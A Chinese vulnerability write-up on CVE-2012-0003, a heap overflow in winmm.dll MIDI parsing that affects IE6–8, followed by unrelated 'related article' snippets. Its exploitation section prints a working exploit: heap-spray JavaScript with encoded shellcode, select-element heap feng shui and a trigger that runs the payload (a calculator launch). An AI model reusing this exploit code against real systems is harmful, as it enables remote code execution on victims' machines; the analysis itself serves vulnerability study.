当前位置: 首页 > news >正文

漏洞分析丨cve-2012-0003

作者:黑蛋

一、漏洞简介

这次漏洞属于堆溢出漏洞,他是MIDI文件中存在的堆溢出漏洞。在IE6,IE7,IE8中都存在这个漏洞。而这个漏洞是Winmm.dll中产生的。

二、漏洞环境

虚拟机

调试工具

目标软件

辅助工具

XP-SP3、Kali

OD、IDA

IE6

Windbg组件gflags.exe

三、MIDI文件简介

MIDI文件属于二进制文件,这种文件一般都有如下基本结构:文件头+数据描述 文件头一般包括文件的类型,因为Midi文件仅以。mid为扩展名的就有0类和1类两种,而大家熟悉的位图文件的格式就更多了,所以才会出现文件头这种东西。他通过Winmm.dll解析这种文件之后可以播出音乐。

结构图如下:

块名称

块标记(四字节)

块长度(四字节)

块数据

头块

“MThd”

00000006

6字节长度

音轨块1

“MTrk”

后面块数据长度

音轨事件数据

...

...

...

...

音轨块n

“MTrk”

后面块数据长度

音轨事件数据

头结构:

偏移

长度

描述

数值

0x00

4

块标记

“MThd”

0x04

4

块长度

00000006

0x08

2

格式类型

0~2

0x10

2

音轨数

1~65535

0x12

2

每拍的计数值

0x60为八分一拍

音轨事件:

事件类型

格式

描述

关闭音符(Note Off)

0x8n note velocity

n 代表通道号,note 代表高音数值,velocity 代表按键速度

打开音符(Note On)

0x9n note velocity

n 代表通道号,note 代表高音数值,velocity 代表按键速度

触后音符(Note Aftertouch)

0xAn note amount

n 代表通道号,note 代表高音数值,amount 代表按压力度

控制器(Controler)

0xBn type value

n 代表通道号,note 代表控制项(如主音、延音等音量大小的调节),value 即为设置值

音色切换(Program Change)

0xCn num

n 代表通道号,num 代表音色号

触后通道(Channel Afertouch)

0xCn note amount

n 代表通道号,note 代表高音数值,amount 代表按压力度

滑音(Pitch Bend)

0xEn LSB MSB

n 代表通道号,LSB 代表低位值,MSB 代表高位值

四、漏洞复现

使用MSF生成exp:

使用箭头指向的链接地址,在XP-SP3中使用IE打开:

五、漏洞溯源

首先通过Windbg中一个组件gflags.exe开启IE页堆保护:

接下来找一个mid文件,或者用以下命令在kali中下载:

wget --user-agent "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)" http://127.0.0.1:8080/+mid相对路径

然后用IE继续打开之前拷贝的链接地址,出现错误,右键页面打开源文件,修改mid文件位置为绝对路径,之后另存为html文件,把mid文件放相同目录下(这样可以让winmm.dll解析mid文件触发漏洞):

接下来打开IE,再打开OD附加IE,随后拖拽1.html到IE中,在IE上方选择允许运行,断在了溢出位置:

查看各模块基址,可以发现溢出点76B2D224属于winmm.dll,随后找到此动态链接库,拖到IDA中,找到76B2D224,F5反汇编:

接下来分析这段代码,看看v26来源:

void __stdcall sub_76B2D038(int a1)

{

int v1; // edi@1

int v2; // esi@2

int v3; // ecx@5

int v4; // eax@5

bool v5; // zf@5

bool v6; // sf@5

unsigned __int8 v7; // of@5

int v8; // edx@6

int v9; // ebx@6

int v10; // ST18_4@6

unsigned int v11; // ecx@6

unsigned int v12; // eax@6

int v13; // ecx@6

unsigned __int8 v14; // al@9

signed int v15; // eax@14

int v16; // ebx@16

int v17; // esi@18

int v18; // eax@18

int v19; // ST18_4@25

int v20; // esi@26

unsigned __int8 v21; // al@27

unsigned int v22; // ebx@28

__int64 v23; // rax@32

int v24; // eax@32

int v25; // esi@34

char v26; // al@34

char v27; // dl@34

char v28; // al@36

int v29; // edx@40

char v30; // al@40

char v31; // al@42

int v32; // [sp+4h] [bp-14h]@6

int v33; // [sp+8h] [bp-10h]@6

int v34; // [sp+Ch] [bp-Ch]@6

int v35; // [sp+10h] [bp-8h]@6

char v36; // [sp+17h] [bp-1h]@30

int v37; // [sp+20h] [bp+8h]@5

signed int v38; // [sp+20h] [bp+8h]@17

char v39; // [sp+23h] [bp+Bh]@6

unsigned __int8 v40; // [sp+23h] [bp+Bh]@28

v1 = a1;

if ( !*(_DWORD *)(a1 + 52) )

{

while ( 1 )

{

while ( 1 )

{

v2 = *(_DWORD *)(v1 + 60);

if ( !v2 )

return;

if ( sub_76B2CA8A(v1) )

break;

sub_76B2CAC7(v1);

}

v3 = *(_DWORD *)v2;

v4 = *(_DWORD *)(v1 + 124) + *(_DWORD *)(*(_DWORD *)v2 + *(_DWORD *)(v2 + 36));

v7 = __OFSUB__(v4, *(_DWORD *)(v1 + 128));

v5 = v4 == *(_DWORD *)(v1 + 128);

v6 = v4 - *(_DWORD *)(v1 + 128) < 0;

v37 = *(_DWORD *)v2;

*(_DWORD *)(v1 + 116) = v4;

if ( !((unsigned __int8)(v6 ^ v7) | v5) )

return;

v8 = *(_DWORD *)(v2 + 36);

*(_DWORD *)(v1 + 124) = v4;

*(_DWORD *)(v2 + 36) += 4;

v9 = *(_DWORD *)(v2 + 36);

v10 = *(_DWORD *)(v9 + v3);

v9 += 4;

v33 = v8;

v32 = v10;

*(_DWORD *)(v2 + 36) = v9;

v34 = sub_76B2C7F7(v1, v10);

v11 = *(_DWORD *)(v9 + v37);

*(_DWORD *)(v2 + 36) = v9 + 4;

v12 = v11 >> 24;

v13 = v11 & 0xFFFFFF;

v39 = v12;

v35 = v13;

if ( v34 && v12 & 0x40 )

{

*(_DWORD *)(v2 + 28) = v33;

DriverCallback(*(_DWORD *)(v1 + 68), *(_WORD *)(v1 + 74), *(_DWORD *)(v1 + 4), 970, *(_DWORD *)(v1 + 76), v2, 0);

LOBYTE(v12) = v39;

v13 = v35;

}

v14 = v12 & 0xBF;

if ( v14 )

{

if ( v14 == 1 )

{

v19 = *(_DWORD *)(v1 + 124);

*(_DWORD *)(v1 + 48) = v13;

sub_76B2CA24(v1, v19);

}

else if ( v14 == 128 )

{

*(_DWORD *)(v2 + 36) += (v13 + 3) & 0xFFFFFFFC;

v15 = 1;

if ( v32 == -1 )

v15 = *(_DWORD *)(v1 + 140);

v16 = *(_DWORD *)(v2 + 24);

*(_DWORD *)(v1 + 136) = 0;

*(_DWORD *)(v1 + 8) |= 0x20u;

*(_DWORD *)(v1 + 52) = 1;

if ( v15 )

{

v38 = v15;

do

{

v17 = *(_DWORD *)(v16 + 4);

*(_DWORD *)(v16 + 4) = v17 + 64;

v18 = sub_76B2C7F7(v1, *(_DWORD *)(v17 + 32));

if ( v18 && !midiOutLongMsg(v18, v17, 64) )

++*(_DWORD *)(v1 + 136);

--v38;

}

while ( v38 );

}

if ( !*(_DWORD *)(v1 + 136) )

*(_DWORD *)(v1 + 52) = 0;

*(_DWORD *)(v1 + 8) &= 0xFFFFFFDF;

}

else if ( (v14 & 0x80u) != 0 )

{

*(_DWORD *)(v2 + 36) += (v13 + 3) & 0xFFFFFFFC;

}

goto LABEL_48;

}

v20 = *(_DWORD *)(v1 + 132);

if ( v34 )

break;

do

{

LABEL_48:

if ( sub_76B2CA8A(v1) )

break;

sub_76B2CAC7(v1);

}

while ( *(_DWORD *)(v1 + 60) );

if ( *(_DWORD *)(v1 + 52) )

return;

}

v21 = v13;

if ( (char)v13 < 0 )

{

*(_BYTE *)(v1 + 84) = v13;

v40 = BYTE1(v13);

v22 = (unsigned int)v13 >> 16;

}

else

{

v21 = *(_BYTE *)(v1 + 84);

v40 = v13;

v22 = (unsigned int)v13 >> 8;

v13 = v21 | (v13 << 8);

}

v36 = v21 & 0xF0;

if ( (v21 & 0xF0) == -112 || (v21 & 0xF0) == -128 )

{

v23 = v40 + ((v21 & 0xF) << 7);

v24 = ((signed int)v23 - HIDWORD(v23)) >> 1;

if ( v36 == -128 || !(_BYTE)v22 )

{

v29 = v24 + v20;

v30 = *(_BYTE *)(v24 + v20);

if ( v40 & 1 )

{

if ( !(v30 & 0xF0) )

goto LABEL_46;

v31 = v30 - 16;

}

else

{

if ( !(v30 & 0xF) )

goto LABEL_46;

v31 = v30 - 1;

}

*(_BYTE *)v29 = v31;

goto LABEL_46;

}

v25 = v24 + v20;

v26 = *(_BYTE *)v25; // 这里

v27 = *(_BYTE *)v25;

if ( v40 & 1 )

{

if ( (v27 & 0xF0) != -16 )

{

v28 = v26 + 16;

LABEL_39:

*(_BYTE *)v25 = v28;

goto LABEL_46;

}

}

else if ( (v27 & 0xF) != 15 )

{

v28 = v26 + 1;

goto LABEL_39;

}

}

LABEL_46:

midiOutShortMsg(v34, v13);

goto LABEL_48;

}

}

根据分析,可以得到以下几个局部变量和寄存机关系以及相对于的地址:

V1 = edi 76B2D050

V2 = esi 76B2D06D

v9 = ebx 76B2D0B5

V11= ecx 76B2D0C3

V13= ecx 76B2D0D1

V20 = esi 76B2D248

V21 = dl 76B2D1F3

V24= eax 76B2D21E

a1 = edi 76B2D044

在OD附加IE后,运行起来,找到以上地址下条件断点:

然后跑起来,拖入1.html,到达溢出点,Alt+L查看日志:

可以发现在溢出前,v11=v13=007DB29F,是在相应位置下条件断点:

随后拖入1.html,断在了断点处,溢出点是读取ESI位置出现异常,我们向上观察ESI的值的来源,76B2D21E处是ADD ESI,EAX:

回到IDA中,对ESI溯源:

发现v20的值来源于参数a1+132;找a1的来源,看函数引用:

继续找v6:

继续找v7,正好可以看到v7+132的值:

继续跟进去sub_76B2B29D:

综上,可以看到ESI的值指向一个1024(0x400)字节的堆空间,返回到溢出位置,ESI+0x419超出0x400,所以造成溢出。

五、漏洞利用

首先我们对exp中的JS代码进行提取:

//堆喷射技术

var heap_obj = new heapLib.ie(0x10000);

var code = unescape("%ufcf5%u40f5%u92d6%u9840%u4f48%ufcfd%u9f48%u4943%u4692%u274f%u9146%ud697%u4347%u4f41%u9143%u464b%u9949%ufc49%u379b%u46f5%ud64b%u90fc%uf941%u9b4f%ufd4b%u4f9f%u904b%u9949%u439f%u9049%ufd91%u93fc%u9b46%u2f43%u4891%u3798%ufcfc%u46d6%u4e4f%u4a92%uf5f8%u2799%u4b40%u99f5%u4e4f%u4af5%u4040%u2f43%uf597%uf537%u424f%uf93f%u4747%u924b%u2746%u979f%u933f%u97fd%u4841%u9948%u9098%u9246%u9892%u2f47%u4191%u429b%u2f49%u9991%u9ffd%u4147%u999f%u48fd%u373f%uf99f%ud6f5%u49f5%u434a%u479f%ufc96%u9940%u4f97%u989f%ufd49%u9941%u4627%u469b%u4398%u4840%u484a%u98fd%u9f93%u4940%u4a49%ud627%u48d6%u374a%uf942%uf590%u41fc%u274e%u9f41%u4f4f%uf537%u4147%ufc40%u434e%u373f%u912f%uf942%u479f%u4148%u9843%u404e%u3f4e%u4b49%u4296%ufdf5%u9692%uf597%uf996%u3f3f%u974f%uf998%u484a%u9792%u4149%u96fd%u9192%u4299%u414b%ufd3f%u9998%u91fd%u99f5%u4043%u4a93%u97f5%uf8fd%u934f%uf946%u48f9%u934b%u9f27%uf8f5%ufd4e%u4a47%u9f98%u97fc%u3f4f%u3743%ufc42%u993f%u37f9%ufc96%u9027%u4340%u9b98%u2f27%u494e%u9198%u91f8%u3796%ufcd6%ufd9b%uf947%ufcfd%u274b%u493f%u494b%u469f%uf9fd%ufc41%ufc40%u4846%u419b%ud690%u473f%u99fd%u9897%u912f%uf9fd%u439f%u9046%ufd92%u984b%u4691%u3ffd%u3f97%u434b%u2798%u9290%u46d6%u90f9%u373f%uf990%u3f96%ud6f8%u994f%u433f%ud69f%uf598%u424a%u4f48%u4ff5%uf59f%u4842%u2797%u43f8%u9742%u9f93%u2737%u993f%u93fc%u9648%ud64b%ufc90%ufd37%uf82f%u4a4e%u9bf9%uf8f5%u93fc%u9f40%u3f46%ufd4b%uf597%u2f37%u974e%u4896%u464b%u4398%uf9f8%u493f%u994b%u9b99%u9b27%u989f%u9149%u9349%u96d6%u4a99%u404b%u9f47%u2748%u91f8%u4849%u91f5%uf897%u469f%u4bfc%uf993%u42f8%u48f8%uf9d6%u43f8%u9bd6%ufd48%ufd98%u9f49%u419b%u919f%ufd4e%u4627%u419b%u3f4f%uf841%u4747%u989b%u4e48%u4e43%ufd3f%uf841%ufd49%u4191%u4e40%u4742%ufc90%ufd98%u2798%u9740%u414a%u494f%u379f%u3737%u494a%u43f9%u4647%u99d6%u42f9%u3797%u434f%u4e48%u9647%u9197%u939f%uf89b%ud6f8%u4647%u4f4a%u4a40%u92f8%u994a%u9b98%uf94b%u99f8%u929f%u9b47%u2749%ufc41%u9b9b%u422f%u919b%u4b4b%u973f%u4af9%u42f8%u933f%u424a%u9349%u9ff9%u9190%u4699%u412f%u4942%u90f5%u37fd%u4348%uf84a%uf9f5%u4696%u9299%u3ff5%ufd49%ud698%u9748%u4046%u92f5%ud640%u904b%ufc47%u4093%u9bd6%u489b%u49fd%u4b91%u9747%ufc27%u484a%u4e93%ufdfc%ufd41%u41f8%uf999%u9b4a%ud637%u9fd6%ufd48%u2f4b%u48d6%u47f5%u4143%u4b96%u4849%uf84b%u9340%uf541%u4a4f%ufd97%u4696%u274a%u929f%ufc37%u2748%u4a47%u9142%uf946%u2742%u9642%u3797%u46f5%u9b97%ufc99%u4893%u9992%u9148%ud690%uf998%u9191%u99fc%u4241%u2793%u4946%uf999%u4247%u984b%u27f5%u963f%u974a%u4f2f%u994e%u99d6%u9241%u374f%u3f2f%u4291%u4392%u274f%u9b98%u9b9b%u3ffd%u474b%uf948%u47f9%u9640%u43f5%ufc98%u82e8%u0000%u6000%ue589%uc031%u8b64%u3050%u528b%u8b0c%u1452%u728b%u0f28%u4ab7%u3126%uacff%u613c%u027c%u202c%ucfc1%u010d%ue2c7%u52f2%u8b57%u1052%u4a8b%u8b3c%u114c%ue378%u0148%u51d1%u598b%u0120%u8bd3%u1849%u3ae3%u8b49%u8b34%ud601%uff31%uc1ac%u0dcf%uc701%ue038%uf675%u7d03%u3bf8%u247d%ue475%u8b58%u2458%ud301%u8b66%u4b0c%u588b%u011c%u8bd3%u8b04%ud001%u4489%u2424%u5b5b%u5961%u515a%ue0ff%u5f5f%u8b5a%ueb12%u5d8d%u016a%u858d%u00b2%u0000%u6850%u8b31%u876f%ud5ff%uf0bb%ua2b5%u6856%u95a6%u9dbd%ud5ff%u063c%u0a7c%ufb80%u75e0%ubb05%u1347%u6f72%u006a%uff53%u63d5%u6c61%u2e63%u7865%u0065");

var DsMjWeAhGmSIMBoAvBknnercShPwpgoBVrnxZeQUReMTCxiUvuWILahMF = "%u0c0c%u0c0c";

var nops = unescape(DsMjWeAhGmSIMBoAvBknnercShPwpgoBVrnxZeQUReMTCxiUvuWILahMF);

while (nops.length < 0x1000) nops+= nops;

var shellcode = nops.substring(0,0x800 - code.length) + code;

while (shellcode.length < 0x40000) shellcode += shellcode;

var block = shellcode.substring(0, (0x80000-6)/2);

heap_obj.gc();

for (var i=0; i < 600; i++) {

heap_obj.alloc(block);

}

这一堆代码就是构造一堆0c0c0c0c+shellcode的堆喷射代码。

var heap = new heapLib.ie();

var selob = document.createElement("select")

selob.w0 = unescape("%u0c0c%u0c0c")

selob.w1 = alert

selob.w2 = alert

selob.w3 = alert

selob.w4 = alert

selob.w5 = alert

selob.w6 = alert

selob.w7 = alert

selob.w8 = alert

selob.w9 = alert

selob.w10 = alert

selob.w11 = alert

selob.w12 = alert

selob.w13 = alert

selob.w14 = alert

selob.w15 = alert

selob.w16 = alert

selob.w17 = alert

selob.w18 = alert

selob.w19 = alert

selob.w20 = alert

selob.w21 = alert

selob.w22 = alert

selob.w23 = alert

selob.w24 = alert

selob.w25 = alert

selob.w26 = alert

selob.w27 = alert

selob.w28 = alert

selob.w29 = alert

selob.w30 = alert

selob.w31 = alert

selob.w32 = alert

selob.w33 = alert

selob.w34 = alert

selob.w35 = alert

selob.w36 = alert

selob.w37 = alert

selob.w38 = alert

selob.w39 = alert

selob.w40 = alert

selob.w41 = alert

selob.w42 = alert

selob.w43 = alert

selob.w44 = alert

selob.w45 = alert

selob.w46 = alert

selob.w47 = alert

selob.w48 = alert

selob.w49 = alert

selob.w50 = alert

selob.w51 = alert

selob.w52 = alert

selob.w53 = alert

selob.w54 = alert

selob.w55 = alert

var clones = new Array(1000);

function feng_shui() {

heap.gc();

var i = 0;

while (i < 1000) {

clones[i] = selob.cloneNode(true)

i = i + 1;

}

var j = 0;

while (j < 1000) {

delete clones[j];

CollectGarbage();

j = j + 2;

}

}

feng_shui();

function trigger(){

var k = 999;

while (k > 0) {

if (typeof(clones[k].w0) == "string") {

} else {

clones[k].w0('come on!');

}

k = k - 2;

}

feng_shui();

document.audio.Play();

}

这一块是创建一个select元素,并设置第一个属性为String“0x0C0C0C0C”,其他55个为Object属性。随后创建一个1000字节数组在堆空间中,循坏拷贝selob到数组中,然后再在偶数位的数组释放堆空间。这样可以造成类似如下的堆空间:

这样空闲堆块前后都是我们自己的数据,而申请0x400有很大的概率落在我们这些堆块中间的空闲堆块中。然后在这里,String在内存中用0x08代表,Object0x09代表。

最后调用 trigger()函数,是遍历数组元素,若属性是Object,就执行clones[k].w0('come on!'),而在这里会调用CAttrValue::GetIntoVariant函数,这个函数会获取续表指针,调用虚表函数。

这里是溢出点,在溢出点的时候AL=0x08,是String,而在代码下方箭头地址指向代码Al+1=0x09,后续调用Trigger函数,走到clones[k].w0('come on!'),而这个语句会调用虚表,每一个对象前四个字节都是虚表地址,及0C0C0C0C,从而走到我们构造的堆里面运行shellcode,下面是取消页堆,然后再溢出点下断点,走到下方AL+1的位置:

我们看一下堆喷地址0x0C0C0C0C

这一块都是0C0C0C0C+shellcode,一直重复的地址。继续走,可以看到计算器被弹出:

相关文章:

漏洞分析丨cve-2012-0003

作者:黑蛋一、漏洞简介这次漏洞属于堆溢出漏洞&#xff0c;他是MIDI文件中存在的堆溢出漏洞。在IE6&#xff0c;IE7&#xff0c;IE8中都存在这个漏洞。而这个漏洞是Winmm.dll中产生的。二、漏洞环境虚拟机调试工具目标软件辅助工具XP-SP3、KaliOD、IDAIE6Windbg组件gflags.exe三…...

rm命令——删除文件或目录

rm命令是英文单词remove的缩写&#xff0c;主要功能是删除文件或目录。 因为删除文件是一个破坏性动作&#xff0c;因此&#xff0c;在使用时需要格外小心&#xff0c;在执行之前一定要再三确认删除的是哪个目录中的什么文件。 rm命令的语法格式如下&#xff1a; rm [选项] …...

【零基础入门学习Python---Python的基本语法使用】

一.Python基本语法使用 Python是一种易学且功能强大的编程语言,具有简洁的语法和广泛的应用领域。在本文中,我们将介绍Python的基本语法使用,以帮助初学者快速入门Python编程。 1.1 注释 Python 支持两种类型的注释:单行注释和多行注释。 单行注释:以 # 符号开头,从 # …...

数据仓库相关概念的解释

数据仓库相关概念的解释 文章目录数据仓库相关概念的解释1 ETL是什么&#xff1f;ETL体系结构2 数据流向何为数仓DW3 ODS 是什么&#xff1f;4 数据仓库层DWDWD 明细层DWD 轻度汇总层&#xff08;MID或DWB&#xff0c;data warehouse basis&#xff09;DWS 主题层&#xff08;D…...

1/4车、1/2车、整车悬架模糊PID控制仿真合集

目录 前言 1. 1/4悬架系统 1.1数学模型 1.2仿真分析 2. 1/2悬架系统 2.1数学模型 2.2仿真模型 2.3仿真分析 3. 整车悬架系统 3.1数学模型 3.2仿真分析 4.总结 前言 前面几篇文章介绍了LQR、SkyHook、H2/H∞、PID控制&#xff0c;接下来会继续介绍滑模、反步法、M…...

Linux性能补丁升级,避免不必要的跨核Wake-Up

导读一个由英特尔发起的、旨在改进Linux内核公平调度程序代码的补丁系列&#xff0c;也看到了来自AMD工程师和其他利益相关者的测试/反馈&#xff0c;并继续进行改进。这个补丁系列的重点是避免在不必要的情况下发生过多的跨核唤醒(Cross-CPU Wake-up)。这样一来&#xff0c;这…...

Spring Cloud Alibaba全家桶(六)——微服务组件Sentinel介绍与使用

前言 本文小新为大家带来 微服务组件Sentinel介绍与使用 相关知识&#xff0c;具体内容包括分布式系统存在的问题&#xff0c;分布式系统问题的解决方案&#xff0c;Sentinel介绍&#xff0c;Sentinel快速开始&#xff08;包括&#xff1a;API实现Sentinel资源保护&#xff0c;…...

拼多多2021笔试真题集 -- 3. 多多的求和计算

多多的求和计算 多多路上从左到右有N棵树&#xff08;编号1&#xff5e;N&#xff09;&#xff0c;其中第i个颗树有和谐值Ai。 多多鸡认为&#xff0c;如果一段连续的树&#xff0c;它们的和谐值之和可以被M整除&#xff0c;那么这个区间整体看起来就是和谐的。 现在多多鸡想请…...

DP算法:动态规划算法

步骤&#xff08;1&#xff09;确定初始状态&#xff08;2&#xff09;确定转移矩阵&#xff0c;得到每个阶段的状态&#xff0c;由上一阶段推到出来&#xff08;3&#xff09;确定边界条件。例题蓝桥杯——印章&#xff08;python实现&#xff09;使用dp记录状态&#xff0c;d…...

一三四——一六七

一三四、JavaScript——_DOM简介 MDNq前端参考文档&#xff1a;DOM 概述 - Web API 接口参考 | MDN (mozilla.org) 一三五、JavaScript——HelloWorld <!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8"><meta h…...

day29_JS

今日内容 上课同步视频:CuteN饕餮的个人空间_哔哩哔哩_bilibili 同步笔记沐沐霸的博客_CSDN博客-Java2301 零、 复习昨日 一、事件 二、DOM操作 三、案例 零、 复习昨日 js 脚本语言,弱类型 引入方案: 3种 js的内容: 语法dombom 语法 变量 var 数据类型 引用类型 - 对象,J…...

【HTTP协议与Web服务器】

HTTP协议与Web服务器浏览器与服务器通信过程HTTP的请求报头HTTP请求报头结构HTTP的请求方法HTTP应答报头HTTP应答报头结构应答状态web服务器的c语言实现浏览器与服务器通信过程 浏览器与Web服务器再应用层通信使用的是HTTP协议&#xff0c;而HTTP协议在传输层使用的是TCP协议。…...

Idea+maven+spring-cloud项目搭建系列--12 整合grpc

前言&#xff1a; grpc 是geogle 开源的rpc 通信框架&#xff0c;通过定义proto生成通信存根&#xff0c;像本地调用服务一样&#xff0c;进行远程服务的调用&#xff1b; 1 消费端服务提供&#xff1a; 1.1 引入grpc 和 protobuf <!-- RPC --> <!-- RPC 服务调用 …...

Revit开洞问题:结构专业开洞口剖面显示及一键开洞

一、Revit中关于结构专业开洞口剖面显示问题 Revit作业的时候&#xff0c;我们不仅只为了一个最后的三维立体模型,我们需要的是一个符合国家以及本院制图标准的一个出图样式,这时候就会出现各种各样的显示问题&#xff0c;本期就一个结构专业开洞显示问题&#xff0c;跟大家一起…...

0107连通分量-无向图-数据结构和算法(Java)

文章目录1 API2 代码实现和分析测试后记1 API 深度优先搜索下一个直接应用就是找出一幅图中的连通分量,定义如下API。 public class CCCC(Graph g)预处理构造函数booleanconnected(int v, int w)v和w连通吗intcount()连通分量数intid(int v)v所在的连通分量标识符(0~count()-…...

[学习笔记]黑马程序员python教程

文章目录思维导图Python基础知识图谱面向对象SQL入门和实战Python高阶技巧第一阶段第九章&#xff1a;Python异常、模块与包1.9.1异常的捕获1.9.1.1 为什么要捕获异常1.9.1.2 捕获常规的异常1.9.1.3 捕获指定的异常1.9.1.4 捕获多个异常1.9.1.5 捕获全部异常1.9.1.6 异常的else…...

如何配置用于构建 FastReport Online Designer 的 API ?

FastReport Online Designer 是一个跨平台的报表设计器&#xff0c;允许通过任何平台的移动设备创建和编辑报表。今天我们就一起来看看在2023版中新增和改进的功能有哪些&#xff0c;点击下方可以获取最新版免费试用哦&#xff01; FastReport Onlin Designe最新版试用https:/…...

【嵌入式Linux内核驱动】02_字符设备驱动

字符设备驱动 〇、基本知识 设备驱动分类 &#xff08;按共性分类方便管理&#xff09; 1.字符设备驱动 字符设备指那些必须按字节流传输&#xff0c;以串行顺序依次进行访问的设备。它们是我们日常最常见的驱动了&#xff0c;像鼠标、键盘、打印机、触摸屏&#xff0c;还有…...

【零散整理】

1-1 git查看代码的项目总行数 git log --prettytformat: --numstat | awk ‘{ add $1; subs $2; loc $1 - $2 } END { printf “added lines: %s, removed lines: %s, total lines: %s\n”, add, subs, loc }’ - 1-2 cookie const cookies document.cookie.split(; )for…...

RocketMQ重复消费的症状以及解决方案

RocketMQ重复消费的症状以及解决方案 生产消息时重复 症状 当一条消息已被成功发送到 消费者 并完成持久化&#xff0c;此时出现了网络闪断或者客户端宕机&#xff0c;导致服务端对客户端应答失败。 如果此时 生产者 意识到消息发送失败并尝试再次发送消息&#xff0c;消费者…...

数字化时代,企业的商业模式建设

随着新一代信息化、数字化技术的应用&#xff0c;众多领域通过科技革命和产业革命实现了深度化的数字改造&#xff0c;进入到以数据为核心驱动力的&#xff0c;全新的数据处理时代&#xff0c;并通过业务系统、商业智能BI等数字化技术和应用实现了数据价值&#xff0c;从数字经…...

项目实战典型案例23——-注册上nacos上的部分服务总是出现频繁掉线的情况

注册上nacos上的部分服务总是出现频繁掉线的情况一&#xff1a;背景介绍二&#xff1a;思路&方案解决问题过程涉及到的知识nacos服务注册和服务发现一&#xff1a;背景介绍 spring cloud项目通过nacos作为服务中心和配置中心&#xff0c;出现的问题是其中几个服务总是出现…...

玩转金山文档 3分钟让你的文档智能化

在上个月底&#xff0c;我们给大家推荐了金山轻维表的几个使用场景&#xff0c;社群中不少用户反响很好&#xff0c;对其中一些场景的解决方案十分感兴趣。但也有一些人表示&#xff0c;有些场景不知道如何实现&#xff0c;希望我们能提供模版/教程。这次我们将做一期热门模板盘…...

安装了nodejs怎么安装nvm

第一步&#xff0c;从控制面板卸载已经安装的node 第二步&#xff0c;删除C盘program开头文件夹下的node文件 第三步&#xff0c;去C/user/用户名 文件夹下&#xff0c;删除.npmrc文件 第四步&#xff0c;打开隐藏文件&#xff0c;第三步文件夹下有一个Appdata文件&#xff…...

java安全编码规范考试

java安全编码规范考试 整理不易&#xff0c;收点币&#xff01;&#xff01; 安全编码规范考试.md 下面对zip文件的安全解压缩描述&#xff0c;错误的是 A.zip文件解压时&#xff0c;可以使用entry.getSize(&#xff09;对解压缩文件进行文件大小判断 B.zip文件解压时&…...

表格检测识别技术的发展历程

近年来&#xff0c;随着计算机技术的飞速发展&#xff0c;越来越多的研究者开始关注表格检测识别技术。表格检测识别技术是一种利用计算机自动处理表格的技术&#xff0c;它可以实现从文本中检测出表格&#xff0c;并进行识别和提取。这种技术有助于提高文本处理的效率&#xf…...

设计UI - Adobe xd对象介绍

矩形工具 新建矩形 操作步骤&#xff1a;选择矩形工具&#xff0c;快捷键R&#xff0c;鼠标在画板上拖出矩形即可。 拖动定界框周围圆形手柄&#xff0c;可快速调整矩形大小&#xff0c;也可以输入宽和高的参数对矩形大小进行改变。 移动矩形 操作步骤&#xff1a;选择选择工具…...

优思学院|精益生产中的“单件流”真的能够做到吗?

精益生产中提到的“一个流”&#xff08;One Piece Flow&#xff09;是一种生产方式&#xff0c;它的核心理念是通过合理配置作业场地、人员和设备&#xff0c;使产品从投入到成品产出的整个制造加工过程中始终处于不停滞、不堆积、不超越&#xff0c;按节拍一个一个地流动。 …...

移除元素问题解决方法------LeetCode-OJ题

问题&#xff1a; 给你一个数组 nums 和一个值 val&#xff0c;你需要 原地 移除所有数值等于 val 的元素&#xff0c;并返回移除后数组的新长度。 要求&#xff1a; 不要使用额外的数组空间&#xff0c;你必须仅使用 O(1) 额外空间并 原地 修改输入数组。 元素的顺序可以改…...

JavaScript学习笔记(1.0)

push() 语法&#xff1a;数组.push(数据) 作用&#xff1a;将数据追加到数组的末尾 返回值&#xff1a;追加数据后数组最新的长度 pop() 语法&#xff1a;数组.pop() 作用&#xff1a;删除数组最后一个数据 返回值&#xff1a;被删除的数据 unshift() 语法&#xff1a;数…...

FCN网络介绍

目录前言一.FCN网络二.网络创新点前言 在图像分割领域&#xff0c;有很多经典的网络&#xff0c;如MASK R-CNN&#xff0c;U-Net&#xff0c;SegNet&#xff0c;DeepLab等网络都是以FCN为基础进行设计的。我们这里简单介绍一下这个网络。 一.FCN网络 FCN网络介绍   FCN 即全…...

Idea+maven+spring-cloud项目搭建系列--11 整合dubbo

前言&#xff1a; 微服务之间通信框架dubbo&#xff0c;使用netty &#xff08;NIO 模型&#xff09;完成RPC 接口调用&#xff1b; 1 dubbo 介绍&#xff1a; Apache Dubbo 是一款 RPC 服务开发框架&#xff0c;用于解决微服务架构下的服务治理与通信问题&#xff0c;官方提…...

2023年上半年北京杭州/广州深圳软考中/高级报名入口

软考是全国计算机技术与软件专业技术资格&#xff08;水平&#xff09;考试&#xff08;简称软考&#xff09;项目&#xff0c;是由国家人力资源和社会保障部、工业和信息化部共同组织的国家级考试&#xff0c;既属于国家职业资格考试&#xff0c;又是职称资格考试。 系统集成…...

jupyter notebook配置和使用

简介 Jupyter Notebook是基于网页的用于交互计算的应用程序。其可被应用于全过程计算&#xff1a;开发、文档编写、运行代码和展示结果。 参考博客&#xff1a;https://zhuanlan.zhihu.com/p/33105153 特点 ①编程时具有语法高亮、缩进、tab补全的功能。 ② 可直接通过浏览器…...

【C++】通过stack、queue、deque理解适配器模式

破镜不能重圆&#xff0c;枯木可以逢春。 文章目录一、stack1.stack的介绍2.stack相关OJ题&#xff08;巧妙利用stack数据结构的特征&#xff09;3.stack的模拟实现二、queue1.queue的介绍2.queue的相关OJ题&#xff08;巧妙利用queue数据结构的特征&#xff09;3.queue的模拟实…...

JavaScript 高级实例集合

文章目录JavaScript 高级实例集合创建一个欢迎 cookie简单的计时另一个简单的计时在一个无穷循环中的计时事件带有停止按钮的无穷循环中的计时事件使用计时事件制作的钟表创建对象的实例创建用于对象的模板JavaScript 高级实例集合 创建一个欢迎 cookie 源码 <!DOCTYPE ht…...

Flutter(五)容器类组件

布局类组件包含多个子组件&#xff0c;而容器类组件只包含一个子组件 目录填充&#xff08;Padding&#xff09;装饰容器&#xff08;DecoratedBox&#xff09;变换&#xff08;Transform&#xff09;Transform.translate 平移Transform.rotate 旋转Transform.scale 缩放Rotate…...

实现满屏品字布局

html, body {width: 100%;height: 100%;}.first {width: 50%;height: 50%;margin: auto;background-color: pink;}.second {width: 50%;height: 50%;float: left;background-color: greenyellow;}.third {width: 50%;height: 50%;float: left;background-color: yellow;}...

软件测试-性能测试-基础知识

